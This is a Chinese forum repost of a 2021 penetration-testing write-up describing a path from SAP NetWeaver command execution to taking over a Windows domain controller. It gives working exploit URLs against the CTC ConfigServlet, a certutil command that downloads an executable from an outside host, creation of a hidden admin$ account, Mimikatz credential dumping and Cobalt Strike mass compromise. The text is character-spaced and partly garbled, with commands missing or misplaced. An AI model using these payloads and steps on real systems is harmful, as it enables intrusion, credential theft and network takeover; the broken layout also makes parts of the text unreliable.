搜索

[22009] 2021-05-25_记一次命令执行到内网渗透拿下域控

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-05-25_记一次命令执行到内网渗透拿下域控 记 一 次 命 令 执 行 到 内 网 渗 透 拿 下 域 控 潇 湘 信 安   L e m o n S e c   2 0 2 1 - 0 5 - 2 5 原 文 地 址 ： h t t p s : / / w w w . x l j t j . c o m / a r c h i v e s / a d . h t m l 目 标 站 采 用 S A P   N e t W e a v e r 是 S A P 的 集 成 平 台 ， S A P 命 令 执 行 p a y l o a d 为 网 址 + 命 令 。 W i n d o w s 执 行 ： 执 行 ： L i n u x 执 行 ： 执 行 ： 由 于 提 前 得 知 目 标 为 W i n d o w s 机 器 ， 直 接 在 目 标 网 站 执 行 n e t   u s e r ， 得 到 如 下 结 果 查 看 当 前 用 户 ， 权 限 以 及 网 络 信 息 h t t p : / / w w w . t e s t . c o m / c t c / s e r v l e t / C o n f i g S e r v l e t ? p a r a m = c o m . s a p . c t c . u t i l . F i l e S y s t e m C o n f i g ; E X E C U T E _ C M D ; C M D L I N E = c m d   / c   n e t   u s e r h t t p : / / w w w . t e s t . c o m / c t c / s e r v l e t / C o n f i g S e r v l e t ? p a r a m = c o m . s a p . c t c . u t i l . F i l e S y s t e m C o n f i g ; E X E C U T E _ C M D ; C M D L I N E = i d

得 到 当 前 用 户 s a p x x x 为 a d m i n i s t r a t o r 权 限 ， 同 时 为 内 网 机 器 ， 那 么 就 可 以 直 接 执 行 W i n d o w s 自 带 的 下 载 命 令 ， 来 下 载 一 个 狗 洞 ， 用 来 转 发 流 量 。 当 然 你 可 以 直 接 执 行 比 如 C S 、 M S F 、 以 及 你 自 己 的 远 控 等 等 ， 但 是 要 考 虑 免 杀 问 题 ， 就 用 狗 洞 来 操 作 。 W i n d o w s 下 载 命 令 ： 下 载 命 令 ： 下 载 好 之 后 ， 首 先 要 用 狗 洞 服 务 端 在 你 自 己 外 网 服 务 器 打 开 一 个 监 听 功 能 ， 目 标 机 器 执 行 上 线 命 令 ， 然 后 等 待 上 线 成 功 上 线 后 ， 自 己 电 脑 连 接 狗 洞 ， 出 现 此 提 示 为 连 接 成 功 ， 之 后 用 代 理 软 件 ， 比 如 P r o x i f i e r 或 者 S o c k s c a p 等 工 具 代 理 本 机 1 2 7 . 0 . 0 . 1 8 0 8 8 端 口 然 后 用 命 令 执 行 去 添 加 一 个 管 理 权 限 的 用 户 ， 根 据 上 面 i p c o n f i g 得 到 的 内 网 i p ： 1 0 . 8 5 . x . x ， 直 接 连 接 其 3 3 8 9 ， 成 功 添 加 账 号 a d m i n $ ， 直 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 8 . 8 . 8 . 8 / t e s t . e x e   C : t e s t . e x e
接 登 陆 成 功 在 这 里 友 情 提 示 下 ， 内 网 中 存 在 域 时 ， 登 陆 账 号 要 选 择 当 前 域 计 算 机 用 户 去 登 陆 ， 不 然 会 登 陆 不 上 执 行 查 询 域 管 机 命 令 发 现 没 权 限 ， 然 后 用 猕 猴 桃 抓 取 一 下 本 机 账 号 密 码 ，
使 用 a d m i n i s t x x x 账 号 ， A T x x x 域 去 登 陆 ， 查 询 域 管 机 与 域 管 用 户 巧 了 不 是 ， 直 接 用 得 到 的 A T x x x A d m i n i s t x x x 去 登 陆 S R V - D C - x x 或 者 S R V - M A I N - x x ， p i n g   S R V - D C - x x 和 S R V - M A I N - x x 得 到 i p
登 录 后
既 然 内 网 机 器 并 无 杀 软 ， 那 么 尝 试 上 一 个 c s 批 量 上 线 吧 ， 搭 建 好 c s 服 务 端 ， 直 接 生 成 文 件 在 域 控 机 上 执 行 ， 等 待 机 器 上 线 后 ， 右 键 执 行 猕 猴 桃 ， 或 者 转 储 h a s h ， 让 他 自 动 获 取 密 码 然 后 执 行 n e t   v i e w 或 者 a r p   - a 来 获 取 目 标 i p
然 后 到 目 标 处 随 便 框 选 几 台 机 器 ， 当 然 你 也 可 以 全 部 选 择 ， 右 键 ， 登 陆 然 后 选 择 你 刚 才 搞 出 来 的 账 号 密 码 ， 选 择 一 个 监 听 器 ， 坐 等 机 器 上 线 即 可
最 后 给 各 位 大 佬 比 心 ， P S :   有 指 教 请 您 留 言 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c
觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理